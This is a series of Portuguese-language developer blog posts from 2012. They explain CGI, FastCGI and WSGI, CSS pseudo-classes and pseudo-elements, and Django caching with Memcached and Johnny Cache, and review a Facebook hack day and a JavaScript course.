Pelos vários anos que programei com o PHP e Apache, nunca precisei me preocupar com o que acontecia entre esses dois. Para mim, era tudo uma “mágica” maravilhosa, que entregava as minhas páginas web de forma dinâmica. Era uma troca justa: Eles não me traziam preocupação, logo, eu não me preocupava.

Com o passar do tempo, o uso do Nginx e a necessidade de aprender Python, comecei a me deparar com o famoso cgi-bin, e entender que os truques que o mod_php ocultava iam muito além do que eu imaginava.

O Common Gateway Interface

De um modo bem simples, podemos dizer que o Common Gateway Interface é um “acordo” entre os servidores HTTP e as aplicações web. Por baixo dos panos, o servidor web vai informar uma série de parâmetros para o seu programa, e é dever do seu programa entregar uma resposta “bem formada” para o servidor web.

Isso quer dizer que, para o CGI, não importa qual linguagem ou banco de dados o seu programa está usando. Para ele, importa a passagem dos parâmetros e a resposta. Logo, é perfeitamente possível desenvolvermos nossas páginas até mesmo com a linguagem C:

#include <stdio.h>

int main(int argc, char *argv[])
{
	printf("Content-type:text/html\n\n");
	printf("<html>\n");
	printf("<body bgcolor=\"%s\">\n", argv[1]);
	printf("</body>");
	printf("</html>");

	return 0;
}

Basta compilar o código acima, jogar no cgi-bin do seu Apache, e você verá a flexibilidade do protocolo em ação. Neste exemplo, acessando nosso programa através da URL http://localhost/cgi-bin/exemplo?red (por exemplo), veremos apenas uma página com o fundo vermelho. Mas é importante reparar que, o parâmetro passado na URL (?red) está acessível através do argv, ou seja, o protocolo está passando para o nosso programa os parâmetros através da STDIN.

Através da STDOUT, estamos respondendo ao Apache utilizando de artifícios do protocolo. A nossa mensagem é composta por um cabeçalho informando o tipo da mensagem e o conteúdo. Neste exemplo, trata-se de um HTML extremamente simples, James Marshall escreveu um bom exemplo um pouco mais complexo utilizando a linguagem C.

Outro comportamento fundamental do CGI é a criação de variáveis de ambiente. Variáveis que você já deve ter usado, como REMOTE_HOST, REMOTE_ADDR, REQUEST_METHOD e QUERY_STRING, são preenchidas pelo servidor Web e passadas ao seu programa através do protocolo:

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[])
{
    char *addr, *method, *query_string;

    addr = getenv("REMOTE_ADDR");
    method = getenv("REQUEST_METHOD");
    query_string = getenv("QUERY_STRING");

    printf("Content-type:text/html\n\n");
    printf("Remote address: %s<br/>", addr);
    printf("Method: %s<br/>", method);
    printf("Query string: %s<br/>", query_string);
}

O FastCGI

O FastCGI segue o mesmo princípio do CGI, mas possui uma série de particularidades (e vantagens) em relação ao seu “primogênito”. Para compreender a diferença entre eles, vamos analisar o ciclo de vida de uma requisição utilizando o CGI:

A cada requisição, o servidor web cria um novo processo;
Através deste processo, o servidor web passa informações para o “programa CGI“ utilizando variáveis de ambiente;
O servidor web também passa qualquer input de dados do usuário através da STDIN;
O programa retorna uma saída ao servidor web através do protocolo CGI (utilizando a STDOUT);
Quando o programa acabar, a requisição é finalizada.

Em um cenário com poucas requisições, este fluxo atende perfeitamente. Os problemas começam a aparecer quando temos que lidar com alto consumo (algo comum hoje em dia, mas nem tão comum quando conceberam o protocolo CGI). Dentre os principais problemas, temos:

Criar e destruir um processo a cada requisição aumenta o load do seu servidor, o que fatalmente degrada performance;
Não há reúso de recursos, como conexões com banco de dados e caches em memória (já que a cada nova requisição é iniciado um novo processo);
Não é trivial separar a sua aplicação do seu servidor Web.

Foi pensando em performance e escalabilidade que o FastCGI foi criado. Ao contrário do CGI, ele utiliza “processos persistentes”, onde o servidor web é capaz de iniciar um processo que responde a uma série de requisições. Além disso, ele usa multiplexação para transmitir e receber informações dentro de uma única conexão, que pode ser um socket ou uma conexão TCP. Desse modo, você pode ter o seu servidor web e o seu processo FastCGI em máquinas diferentes.

O ciclo de vida de uma requisição FastCGI, é basicamente composto por:

O servidor web cria um processo FastCGI para receber requisições;
A sua aplicação é inicializada, e aguarda por uma nova conexão vinda do servidor web;
Quando o cliente envia uma requisição, o servidor web abre uma conexão com o processo FastCGI. O servidor envia as variáveis de ambiente e entradas de dados através desta conexão;
O processo FastCGI retorna a saída através desta mesma conexão;
O processo FastCGI fecha a conexão, e a requisição é concluída, porém, o processo fica “vivo”, esperando por outra requisição do servidor web.

É claro que para atingir este resultado, aplicações FastCGI possuem uma arquitetura mais “rebuscada” que aplicações CGI. Por exemplo, para suportar a multiplexação, o servidor web e o processo FastCGI se comunicam através de mensagens. Nestas mensagens (BEGIN_REQUEST, ABORT_REQUEST, END_REQUEST, PARAMS, STDIN e STDOUT) possuímos um cabeçalho chamado Request ID, que é responsável por identificar a qual requisição o pacote pertence.

Essa mudança de arquitetura acaba influenciando na escrita das aplicações web, trazendo alterações marcantes em comparação aos programas escritos para o bom e velho CGI. Por exemplo, você terá que recompilar o seu PHP com a flag —enable-fast-cgi.

O site oficial do FastCGI possui um bom exemplo de implementação de uma aplicação em C com FastCGI.

O Web Server Gateway Interface

No universo Python começaram a aparecer diferentes formas de comunicação entre servidor e aplicação, seja com CGI, FastCGI, mod python ou até mesmo com APIs próprias e não padronizadas. Isso acarretou no seguinte cenário: A escolha de um framework influenciava diretamente na escolha do servidor web, e geralmente o framework escolhido era “incompatível” com os demais disponíveis para uso.

O WSGI é uma especificação que tem por objetivo garantir que o desenvolvedor da aplicação não se preocupe com qual servidor web será escolhido, bem como o profissional responsável pelo servidor web não se preocupe com a arquitetura escolhida pela aplicação. Uma forma “universal” de proporcionar interoperabilidade entre servidores e aplicações escritas em Python.

Veja um exemplo de script Python utilizando o protocolo CGI:

#!/usr/bin/python

from os import environ


print "Content-Type: text/html\n\n"
print "<html><body>Hello %s!</body></html>" % environ.get('REMOTE_ADDR')

Seguindo a especificação do WSGI, devemos servir nossa aplicação da seguinte maneira:

#!/usr/bin/python


def application(environ, start_response):
    start_response('200 OK', [('Content-Type', 'text/html')])
    return ['<html><body>Hello %s</body></html>' % environ.get('REMOTE_ADDR')]

Encapsulamos a nossa entrega em uma função chamada application, e nela possuímos dois parâmetros: environ e start_response. O primeiro é responsável por informar quais as variáveis ambientais que temos à nossa disposição. O segundo, nomeado como start_response, é na verdade uma função de callback onde informamos o status code e demais cabeçalhos para resposta.

Por fim, retornamos ao servidor web o nosso HTML. O servidor web pode “iterar” sobre a aplicação, retornando conteúdo ao usuário conforme a aplicação for retornando conteúdo para ele. Neste caso, utilizamos na resposta um tipo sequencial.

Agora somos capazes de servir a aplicação através de CGI:

from wsgiref.handlers import CGIHandler

CGIHandler().run(application)

E até mesmo FastCGI:

from flup.server.fcgi import WSGIServer

WSGIServer(application).run()

A biblioteca wsgiref implementa as especificações do WSGI e provê ferramentas para a comunicação entre servidores e aplicações. No segundo exemplo utilizamos a flup, uma biblioteca com algumas soluções WSGI, incluindo a possibilidade de servir aplicações FastCGI.

Com esse “código de cola”, basta configurar o seu servidor Web favorito para servir a sua aplicação.

mod_wsgi

Uma vez construída a interface para a sua aplicação através do padrão WSGI, você pode serví-la em um servidor Apache através do mod_wsgi. Existem soluções equivalentes para outros servidores, como por exemplo, no Nginx temos o NgxWSGIModule.

Com o modwsgi, você não precisa de nenhum “código de cola” (como apresentado nos exemplos de _CGI e FastCGI), basta configurar o seu Apache e apontar o seu script WSGI através da instrução WSGIScriptAlias:

<VirtualHost *:80>

    ServerName www.example.com
    ServerAlias example.com
    ServerAdmin webmaster@example.com

    DocumentRoot /usr/local/www/documents

    Alias /robots.txt /usr/local/www/documents/robots.txt
    Alias /favicon.ico /usr/local/www/documents/favicon.ico

    Alias /media/ /usr/local/www/documents/media/

    <Directory /usr/local/www/documents>
    Order allow,deny
    Allow from all
    </Directory>

    WSGIScriptAlias / /usr/local/www/wsgi-scripts/wsgi.py

    <Directory /usr/local/www/wsgi-scripts>
    Order allow,deny
    Allow from all
    </Directory>

</VirtualHost>

Uma particularidade do mod_wsgi é a escolha de execução no modo daemon, que opera de uma forma similar ao esquema utilizado pelo FastCGI.

Servidores WSGI

Você pode utilizar servidores especialmente escritos para servir as suas aplicações WSGI, como por exemplo o Gunicorn, o uWSGI ou até mesmo o Tornado. Além da versatilidade e performance, a facilidade é outra característica marcante em muitas dessas ferramentas:

$ gunicorn -w 4 -b 127.0.0.1:5000 wsgi:application

No exemplo acima, levantamos o Gunicorn na porta 5000, e reservamos 4 workers para servir a nossa aplicação.

Além de diminuirmos a carga do servidor web, e ganharmos um controle mais apurado de memória e processos, ganhamos também o uso de workers. Por exemplo, o Gunicorn trabalha com pre-fork de workers, onde um processo “master” gerencia um conjunto de processos que são de fato os responsáveis por servir a sua aplicação. Ganhamos mais uma ferramenta de baixo custo para lidar com concorrência.

Servidores WSGI conseguem servir as aplicações sem o auxílio de um Apache ou Nginx, mas uma prática muito comum hoje em dia é, “na frente” de um Gunicorn (por exemplo), termos um Nginx servindo estáticos, fazendo caching e “aguentando porrada”, enquanto que o servidor WSGI está totalmente focado em servir o conteúdo dinâmico. O servidor web acaba fazendo uma espécie de proxy reverso e até mesmo servindo como balanceador.

A comunicação entre servidores pode ser feita via TCP ou socket. Isso nos dá uma série de vantagens, que vão desde a facilidade em escalar e distribuir, até o restart individual de serviços (por exemplo, se a sua aplicação travar, você pode reiniciar apenas o servidor WSGI e não perder o caching do servidor web).

Um exemplo muito interessante de uso de servidores WSGI é fazendo deploy de aplicações Python para o Heroku. Configurar um servidor Nginx para se comunicar com servidores WSGI também é relativamente simples.

Considerações finais

Um assunto muito interessante e que pretendo explorar mais aqui no blog, principalmente em relação a processos e workers.

Servir aplicações Python para a web é algo relativamente simples, limpo e elegante. Através do WSGI, escalar aplicações passou a ser algo quase trivial, que demanda pouco esforço. Combiná-los com o Nginx dão mais fôlego a sua aplicação (principalmente se estivermos falando do uWSGI ou gevent), e com um sistema de provisionamento automático podem facilitar e muito o seu trabalho de infraestrutura quando o consumo se tornar um problema.

Referências

As pseudo-classes e os pseudo-elementos

Wed, 05 Sep 2012 09:42:49 GMT

O CSS tem diversas coisas legais. Uma quantidade de propriedades, valores e funcionalidades, que por inúmeras vezes me fogem da memória. Uma das coisas mais interessantes do CSS, mas que geralmente me confunde, são as pseudo-classes e os pseudo-elementos.

Então eu resolvi escrever este post, e nele vou explicar a diferença e aplicabilidade dos dois. Espero colaborar com outras mentes tão preguiçosas na arte da lembrança, quanto a minha :)

Pseudo-classes

As pseudo-classes são muito úteis para fazermos manipulações estruturais, ou alterações de estilos de forma dinâmica. Uma forma interessante de pensarmos sobre pseudo-classes é que o seu resultado pode ser obtido com Javascript, através de eventos ou de seletores (como o :eq). Com a ajuda deste artifício, conseguimos entregar uma solução muito simples e funcional. Exemplo:

#menu a {
  color: blue;
}

#menu a:hover {
  color: red;
}

Veja o exemplo no jsFiddle.

Na demonstração acima, utilizamos a pseudo-classe :hover para alterar a cor do link de azul para vermelho. O evento “hover” acontece quando estamos com o mouse sobre o elemento. Outros eventos podem acontecer, como o :active (quando pressionamos o botão do mouse sobre o link), e :visited.

Outro exemplo muito bom, é se precisássemos que apenas o primeiro item fosse de cor laranja:

#menu li:first-child a {
  color: orange;
}

Veja o exemplo no jsFiddle.

Note que o caso poderia ser resolvido adicionando uma classe “first” ao primeiro elemento da lista, e atribuindo a propriedade color à esta classe. Mas com o uso de pseudo-classes, é possível economizar todo esse esforço.

Pseudo-elementos

Os pseudo-elementos, assim como as pseudo-classes, levam à economia de esforço, de interpretação de Javascript, e de elementos “não-semânticos”. Por exemplo, queremos que a primeira letra de um parágrafo ganhe destaque:

<p>
  <span>L</span>orem ipsum dolor sit amet, consectetur adipiscing elit.
  Pellentesque in scelerisque quam...
</p>

O CSS ficaria mais ou menos assim:

p {
  font-size: 14px;
}

p span {
  font-size: 20px;
  font-weight: bold;
  letter-spacing: 3px;
}

Veja exemplo no jsFiddle.

Podemos alcançar o mesmo resultado, sem necessitar do span, através do pseudo-elemento first-letter:

p {
  font-size: 14px;
}

p::first-letter {
  font-size: 20px;
  font-weight: bold;
  letter-spacing: 3px;
}

Veja o exemplo no jsFiddle.

Outros pseudo-elementos interessantes são os clássicos after e before, o first-line e o selection.

Considerações finais

Os pseudo-elementos e pseudo-classes não são nenhum “bicho de sete cabeças”, e podem economizar preciosas linhas de código (e tempo de processamento do usuário).

Quando bater aquela dúvida sobre qual utilizar, lembre-se: Quando o resultado pode ser obtido através de uma classe, use pseudo-classes; Quando o resultado pode ser obtido através de elementos não-semânticos, use pseudo-elementos.

Até a próxima…

Referências

Opinião: Facebook World Hack

Sun, 02 Sep 2012 12:37:10 GMT

No dia 30 de agosto de 2012 (sexta-feira), rolou o Facebook Developers World Hack – São Paulo, onde engenheiros do próprio Facebook deram palestras sobre o desenvolvimento com a API social, distribuição e monetização. Após as palestras houve um Hack Day, onde os vencedores nas categorias “Mobile”, “Game”, “Open Graph” e “Geral” foram premiados com créditos no Facebook e na Amazon, além de smartphones e tablets.

Um ambiente descontraído, com muita comida, bebida e música. Foi fácil notar que estávamos cercados de pessoas extremamente criativas. Uma experiência que vou levar comigo para o resto da vida.

Expectativas

A palavra Hack, do jeito que é empregada hoje, me incomoda muito. Para mim, ela significa algo extraordinário, realizado por pessoas extraordinárias. Isso influenciou muito a minha expectativa, que era de encontrar um evento extremamente técnico. Por alguns momentos antes de ir, pensei se eu estaria à altura do evento, o que aumentou demasiadamente a minha curiosidade e ansiedade.

Seria o primeiro “Hack Day” que eu participaria, e isso me provocou um “bloqueio criativo” tão grande, que cheguei no evento sem nenhuma ideia do que desenvolver. Achei interessante a experiência de sentar com os colegas e decidir o que iríamos fazer, mas deveria ter ido com algum esboço pronto.

Estava esperando um evento diferente… e foi o que eu encontrei.

Resultados

O local escolhido para o evento foi muito bom! Fomos submersos em um ambiente muito agradável. No momento em que James Pearce sobe ao palco, você já percebe a “vibe” do evento. O cara é um verdadeiro “showman”, e soube “guiar” o “espetáculo” durante o dia inteiro com muita irreverência e “jogo de cintura”.

Uma surpresa muito boa foi a tradução simultânea. Todo o conteúdo apresentado era em inglês, então, a organização do evento disponibilizou fones de ouvido com traduções em tempo real para o português. Mesmo o meu inglês sendo técnico, não houve dificuldade em entender o que os palestrantes falavam.

E logo nos primeiros slides, James dá um significado para a palavra “Hack” utilizando o The Hacker Way, bom artigo da Wired contendo uma carta de Mark Zuckerberg aos potenciais investidores. Neste artigo, Mark diz que Hacker é mais do que “invasão”, é acreditar que algo sempre pode ser melhor. Durante este dia, estávamos tentando fazer a melhor app que podíamos, utilizando a integração do Facebook da melhor forma que podíamos, e acima de tudo, aprendemos muito com tudo isso. Dessa forma, não consigo imaginar uma palavra melhor para traduzir todo esse esforço, que não seja “hackeando”.

Mas o Facebook Developers World Hack teve os seus pontos negativos. E o primeiro de todos foi a wifi. Em um evento onde você é instigado a trabalhar com uma API e servir seus projetos na nuvem, ter problemas de conexão é extremamente frustrante. Nosso time sentou próximo à equipe técnica responsável pelo local, e percebemos que eles estavam fazendo o possível para manter tudo funcional.

Outro ponto que deixou a desejar foi o conteúdo das palestras. Eu sinceramente não possuo críticas aos palestrantes, pois meu conhecimento sobre a API do Facebook era muito raso. Mas algumas pessoas mais experientes expressaram reclamações em relação ao nível básico do conteúdo apresentado. Estávamos muito empolgados com as palestras sobre games e monetização, mas analisando um pouco mais “friamente”, elas foram consideravelmente frustrantes.

Veredicto

Eu gostei muito do evento. Aprendi muito e gostei dessa proximidade que houve com os profissionais que trabalham no Facebook.

Infelizmente, nosso time não conseguiu acabar o projeto em tempo, e não participamos das premiações. Mas demos boas risadas durante todo o dia, e descartamos a tensão da competição pelo desafio de tentar realizar algo audacioso.

Se você tiver a oportunidade de participar de um World Hack, eu aconselho que vá. Sem dúvida, alguma coisa de positiva dá para tirar, seja do conteúdo, ou da experiência de conviver com pessoas diferentes durante um dia inteiro.

Resumindo: eu vi e gostei.

Django e Cache: Uma dupla de alta performance - Parte 2

Sun, 22 Jul 2012 14:33:58 GMT

Continuando o post Django e Cache: Uma dupla de alta performance, vamos ver na prática como utilizar o framework de cache do Django.

Embora eu esteja utilizando o Memcached para escrever estes artigos, vale ressaltar que a abstração do Django lhe permite utilizar a ferramenta mais apropriada para você.

Diferentes maneiras de “cachear” a aplicação

Podemos utilizar a camada de cache em diferentes pontos da aplicação. Por exemplo, podemos utilizá-la antes de uma consulta ao banco de dados, armazenar resultados de operações complexas, armazenar o parsing de um template, etc. Com o esquema de middlewares do Django, podemos ter essa camada aplicada diretamente ao fluxo de interpretação do framework, o que pode reduzir consideravelmente o uso de recursos de nossa hospedagem, sem mesmo termos alterado código das nossas apps.

Vamos ver a diferença, e casos de usos, dessas formas de utilização do cache.

Granular

Quando você quer ser “incisivo”, utilizar a API de forma “granular” é uma ótima opção.

Por exemplo, no Globoesporte.com nós fazemos algumas consultas a um banco de dados semântico para trazer informações de eventos, jogos e atletas. Como esta consulta é consideravelmente demorada, utilizamos a API de cache para melhorar os tempos de resposta. Exemplo:

from django.core.cache import cache
...
def jogos_por_edicao(edicao_slug):
    jogos = cache.get('jogos_%s' % edicao_slug)
    if not jogos:
        jogos = pega_jogos_da_semantica(edicao_slug)
        cache.set('jogos_%s' % edicao_slug, jogos)
    ...

Passamos ao cache.set uma chave (que deve ser menor que 250 caracteres, e não utilizar caracteres especiais) e um valor. Ele também aceita um terceiro parâmetro, que é o tempo de vida desta informação em cache. Quando omitido, o tempo definido nas configurações do backend é utilizado.

Para remover esta informação do cache, basta utilizarmos o método cache.delete:

cache.delete('jogos_%s' % edicao_slug)

Você tem a liberdade de fazer caching de qualquer região da sua aplicação. Mas é bom tomarmos cuidado para que o gerenciamento desses pontos não passem a ser um problema. O framework de cache pode ser aplicado em outras camadas da abstração, dispensando (em muitos casos) a necessidade desse tipo de controle em modelos e views.

Template

Assim como é possível fazer caching de forma minuciosa com a API acima, é possível fazer um controle muito interessante de cache com os templates do Django.

Prevenindo acesso a disco

A cada nova requisição, o Django carrega o arquivo de template do disco, interpreta-o com o contexto, e retorna o seu resultado. Podemos melhorar um pouquinho este fluxo, sem necessitar do Memcached, basta adicionarmos o django.template.loaders.cached.Loader ao TEMPLATE_LOADERS do settings.py:

TEMPLATE_LOADERS = (
    ('django.template.loaders.cached.Loader', (
        'django.template.loaders.filesystem.Loader',
        'django.template.loaders.app_directories.Loader',
    )),
)

Esse loader manterá o arquivo de template em memória, evitando com que o Django tenha que recorrer ao disco para obter o seu conteúdo. O “trade-off” é mais utilização da memória do seu servidor (que, dependendo do cenário, nem é um problema tão grande assim) e a necessidade de, quando houver atualizações em templates, efetuar o restart do serviço de WSGI que você utiliza.

Outro ponto a se observar é que as template tags que você utilizar deverão ser thread-safe.

Prevenindo parsing desnecessário

O framework de cache permite “cachear” fragmentos de um template. Essa modalidade de cache é bem interessante quando utilizamos filtros ou tags que executam operações que aumentam consideravelmente o tempo de interpretação do template.

Na documentação há um exemplo bem interessante, onde é feito o cache de um sidebar inteiro:

{% load cache %}

{% cache 500 sidebar %}
    <!-- conteúdo do sidebar -->
{% endcache %}

Passamos para a template tag cache o tempo de vida do conteúdo (500 segundos), e o identificador deste conteúdo (sidebar). Se a chave não existir, o Django interpretará as instruções dentro do bloco e armazenará o seu resultado no Memcached para que, num próximo acesso, esse resultado seja recuperado sem necessitar interpretar todo o bloco novamente.

Views

Uma das maneiras mais práticas de utilizarmos o cache em nossos websites e aplicações Web escritos em Django, é através do método chamado per-site cache.

Basicamente, o Django analisará requisições realizadas através dos métodos GET e HEAD, e utilizará a sua URL como chave para a verificação em cache. Caso ele encontre a ocorrência, retornará ao usuário o resultado “cacheado”, senão, interpretará a view e ao final armazenará o seu resultado.

Para que isso seja possível, é necessário a utilização dos middlewares django.middleware.cache.UpdateCacheMiddleware e django.middleware.cache.FetchFromCacheMiddleware:

MIDDLEWARE_CLASSES = (
    'django.middleware.cache.UpdateCacheMiddleware',
    ...
    'django.middleware.cache.FetchFromCacheMiddleware',
)

Além da configuração das seguintes constantes:

CACHE_MIDDLEWARE_ALIAS : O identificador da conexão (padrão default)
CACHE_MIDDLEWARE_SECONDS : O tempo de vida (em segundos) das páginas em cache (padrão 600 segundos)
CACHE_MIDDLEWARE_KEY_PREFIX : Chave para prevenir problemas quando o cache é um serviço compartilhado entre diferentes instâncias Django. Pode-se, por exemplo, colocar o nome do site como prefixo.

Ao acessar as views, temos uma agradável surpresa:

$ curl -I http://localhost:8000/

HTTP/1.0 200 OK
Date: Wed, 04 Jul 2012 00:12:17 GMT
Server: WSGIServer/0.1 Python/2.7.2
Cache-Control: max-age=600
Vary: Cookie
Expires: Wed, 04 Jul 2012 00:22:17 GMT
Content-Type: text/html; charset=utf-8
Last-Modified: Wed, 04 Jul 2012 00:12:17 GMT

Ganhamos cabeçalhos HTTP com os valores correspondentes às nossas configurações de cache! Por exemplo, Last-Modified corresponde a data de acesso, Expires é a data de acesso acrescentando os 600 segundos de cache, e o Expires corresponde ao tempo de CACHE_MIDDLEWARE_SECONDS.

Interessante não? Temos um controle de cache na “borda” da nossa aplicação… não precisamos interferir nas nossas views, modelos ou consultas.

O método per-view

É natural que certas views necessitem de um tempo de cache diferente de outras. Para tanto, podemos utilizar decorators que “sobrescrevem” as configurações utilizadas pelo per-site, permitindo assim um controle mais granular sobre o tempo de cache das views. Exemplo:

from django.views.generic.simple import direct_to_template
from django.views.decorators.cache import cache_page

urlpatterns = patterns('',
    ...
    url(r'^outra-view/$', cache_page(60 * 2)(direct_to_template),
        {'template': 'outra-view.html'}, name='outra-view'),
    ...
)

No exemplo acima estou usando a generic view direct_to_template para ilustrar. Através do decorator cache_page eu informo o tempo de vida desta view em cache (2 minutos, 60 * 2 para ficar mais legível).

E quando acessamos esta view, é possível reparar que inclusive os valores dos cabeçalhos HTTP são outros:

$ curl -I http://localhost:8000/outra-view/

HTTP/1.0 200 OK
Date: Wed, 04 Jul 2012 00:28:07 GMT
Server: WSGIServer/0.1 Python/2.7.2
Last-Modified: Wed, 04 Jul 2012 00:28:07 GMT
Expires: Wed, 04 Jul 2012 00:30:07 GMT
Content-Type: text/html; charset=utf-8
Vary: Cookie
Cache-Control: max-age=120

Ainda é possível passar como parâmetro para o cache_page, o cache que você deseja utilizar (por padrão default), e um key_prefix.

Caching de queries com o Johnny Cache

É normal que algumas rotas da sua aplicação não possam fazer utilização desse tipo de cache. Por exemplo, views para usuários autenticados, que necessitam transitar informações de sessão e cookies, ou até mesmo views que precisam receber informações através de POST.

Vamos imaginar que, dentro desse cenário, a sua app faça uma consulta “custosa” ao banco de dados. Logo, concluímos que adicionar um controle de cache a esta consulta seria extremamente interessante para a velocidade de resposta da view. A primeira opção é utilizar o framework de cache do Django de forma granular, através de sua API. A outra opção é fazer caching “dentro” do ORM.

É apoiado nessa última proposta que o Johnny Cache se baseia: “cachear” dados transitados através do ORM do Django, não interferindo no código das apps.

O Johnny Cache está no PyPi, então basta um pip install johnny-cache para realizarmos a instalação. Para configurar, precisamos adicionar algumas informações ao settings.py:

MIDDLEWARE_CLASSES = (
    'johnny.middleware.LocalStoreClearMiddleware',
    'johnny.middleware.QueryCacheMiddleware',
    ...
)

CACHES = {
    'default' : {
        'BACKEND': 'johnny.backends.memcached.MemcachedCache',
        'LOCATION': ['127.0.0.1:11211'],
        'JOHNNY_CACHE' True,
    )
}

Onde:

johnny.middleware.LocalStoreClearMiddleware: O Johnny utiliza este middleware para gerenciar o cache de uma maneira "thread-safe". Ele basicamente limpa este objeto ao final de cada requisição.
johnny.middleware.QueryCacheMiddleware: É o middleware responsável pela “mágica” de caching no ORM.

O backend johnny.backends.memcached.MemcachedCache é basicamente uma subclasse do backend built-in do Django para o Memcached, com a adição do seguinte comportamento: Se o timeout for setado como 0 (zero), o cache fica “infinito”.

Com a opção JOHNNY_CACHE como True, estamos informando ao Johnny que este é o pool de cache que ele deve usar para caching das queries. É possível ter uma configuração diferenciada, como encontrada no projeto Cifonauta.

Com a ajuda do django-debug-toolbar, podemos ver o número de queries diminuírem consideravelmente (fatalmente ocasionando um tempo de resposta menor). Quando um registro for adicionado, editado ou removido, o Johnny Cache remove as queries envolvendo determinada tabela do cache, permitindo assim uma nova “batida” no banco de dados (e um novo armazenamento dos resultados).

Considerações finais

Como já mencionei, gosto muito dos ensinamentos e experiências compartilhadas pelo pessoal da 37Signals. Um deles é para nos preocuparmos com performance quando isto for realmente um problema.

Logo, (IMO) não construa uma mega infraestrutura para uma aplicação que atende 50 usuários por dia. Você está desperdiçando o seu tempo e linhas de código. Em contrapartida, qualquer esforço para melhorar a experiência do usuário, e para economizar recursos, é sempre bem-vinda.

Vale sempre ressaltar que problemas de performance podem estar relacionados a qualidade do código produzido, e não necessariamente com o consumo da aplicação. Então, se a demanda está baixa e mesmo assim você tem tempos de resposta absurdamente altos, talvez seja a hora de “refatorar” o seu código.

Referências

Django e Cache: Uma dupla de alta performance - Parte 1

Sun, 17 Jun 2012 15:52:22 GMT

Embora o caching HTTP seja essencial para qualquer aplicação web, (IMO) essa modalidade de cache deve ser encarada como um acréscimo à experiência de uso, e não necessariamente como uma “arma” contra problemas de performance. Os usuários poderão abdicar desta funcionalidade, e aí a sua aplicação não poderá depender do protocolo para atingir tempos de resposta atrativos.

Desenvolvedores Django podem contar com boas soluções, do próprio framework e de terceiros, que podem melhorar o caching das aplicações (e consequentemente a performance). A grande notícia é que essas ferramentas são fáceis e práticas. Vamos conhecê-las?

O Memcached

Eu juro que tentei escrever uma introdução para este tópico, mas a descricão contida no site oficial do Memcached é tão boa, que vou simplesmente copiá-la:

Memcached is an in-memory key-value store for small chunks of arbitrary data (strings, objects) from results of database calls, API calls, or page rendering.

Em outras palavras, é uma ferramenta open source, que tem como função o armazenamento (e gerenciamento) de resultados de queries, conteúdo de arquivos, processamentos avançados, ou qualquer tipo de informação, em memória (um meio muito mais rápido de ser lido que em disco, por exemplo). Embora esse potencial possa ser utilizado para os mais diferentes fins, é como mecanismo de caching que ele se destaca.

O Memcached foi construído em um esquema “cliente-servidor”, e é possível utilizá-lo com uma grande quantidade de linguagens de programação. Mas o que eu acho mais bacana na ferramenta é a possibilidade de utilizá-la de forma distribuída. Isso propicia uma flexibilidade muito maior na hora de construirmos a infraestrutura para servir as nossas aplicações web.

Mas a “cereja do bolo” é: O Django funciona muito bem com o Memcached.

Framework de cache do Django

O uso do Memcached não é obrigatório! Na verdade, podemos utilizar diferentes backends para diferentes tipos de mecanismos de cache. O Django possui algumas opções disponíveis, sem necessitar utilizar nenhum “código de terceiro”. Temos a opção de fazer cache em disco, banco de dados ou até mesmo “simularmos” a interação com cache (muito bom para ambientes de desenvolvimento). Leia mais sobre.

Neste post, vamos nos concentrar na configuração do Django com o Memcached. Para instalar, basta compilar através do make:

$ wget http://memcached.org/latest
$ tar -zxvf memcached-1.4.13.tar.gz
$ cd memcached-1.4.13
$ ./configure
$ make && make test
$ make install

Utilizando a python-memcached como binding Python para o Memcached, basta adicionarmos o seguinte backend ao settings.py:

CACHES = {
    'default': {
        'BACKEND': 'django.core.cache.backends.memcached.MemcachedCache',
        'LOCATION': '127.0.0.1:11211',
        'TIMEOUT': 60,  # Default: 300 segundos,
        'KEY_PREFIX': 'djcache',
    }
}

Onde:

BACKEND: É o módulo responsável por se comunicar com o Memcached. Estamos utilizando este backend pois optamos pela python-memcached.
LOCATION: É a porta (ou socket) onde o serviço do Memcached está respondendo. A porta padrão é a 11211.
TIMEOUT: É o tempo de vida do informação “cacheada”. Acima informamos 60 segundos, o padrão é 5 minutos.
KEY_PREFIX: É um valor que precederá todas as chaves que utilizarmos com o Django. Bem útil para prevenir que duas aplicações utilizem o mesmo valor no Memcached (quando este não é o comportamento esperado).

Conheça outras opções de configurações.

Considerações finais

Pronto! As ferramentas estão apresentadas e estamos prontos para partir para uma abordagem prática.

O Django já vem “preparado” para trabalhar com mecanismos de cache. O seu esquema de backends permite que você “acople” diferentes módulos para atender os mais exóticos mecanismos de cache, sem necessariamente precisar alterar código nas suas apps.

É bem verdade que o Memcached é um tanto “tradicional”, e que hoje existem alternativas mais “atrativas”, como o Redis. Na prática, depende muito do cenário no qual você está inserido, por exemplo, no Globoesporte.com utilizamos o Memcached e ele nos atende muito bem.

No próximo post vamos partir para uma abordagem mais prática, cobrindo as diferentes maneiras de utilizar caching com Django.

Até lá...

Referências

Opinião: Imersão Javascript - e-Genial

Tue, 29 May 2012 22:09:07 GMT

Para inaugurar a série Opinião, onde pretendo expor algumas “críticas” sobre cursos, eventos e livros técnicos, quero compartilhar com vocês a experiência que tive com o curso Imersão Javascript, ministrado pela e-Genial.

Antes de qualquer coisa, tenho a obrigação de dizer: O ambiente de educação à distância, chamado TreinaTom, é excelente! Recentemente tive uma experiência no mínimo “duvidosa” com o Adobe Connect... e entre outras ferramentas disponíveis no mercado (por exemplo, o Moodle), a facilidade e experiência de uso do TreinaTom se sobressai.

Expectativas

Devo ser sincero: eu não sou um dos maiores fãs do Javascript.

Como desenvolvedor web, sempre tive contato com a linguagem, e sempre me virei na medida do possível. Mas de uns tempos para cá ficou evidente a importância do Javascript, tanto que ele já ultrapassou a “barreira” do front-end e já possui representantes em outras áreas do desenvolvimento (por exemplo, o Node.js no back-end).

Então, para não ficar “refém” da jQuery, decidi estudar a linguagem desde o básico. E foi com essa expectativa que eu me inscrevi no curso Imersão Javascript.

Resultados

O Cássio Marques foi o instrutor, e embora na primeira aula ele não tenha conseguido “prender” a minha atenção, a partir da segunda ele conseguiu manter uma dinâmica e ritmo muito bons.

A abordagem, já focando em boas práticas e técnicas amplamente divulgadas pelo Douglas Crockford, foi um grande diferencial. O Cássio não poupou esforços para montar um material atual, que acredito ser útil para qualquer desenvolvedor, mesmo aqueles mais experientes com front-end.

A grade foi muito boa, partindo de tipos até objetos e heranças. Mas o que me marcou foi a utilização efetiva de exceções, a abordagem sobre Closures, e a apresentação de alguns Design Patterns com o Javascript.

De bônus, rolou uma breve introdução ao Jasmine e ao JSLint.

Veredicto

Se você quer aprender Javascript, não irá se decepcionar com o curso Imersão Javascript.

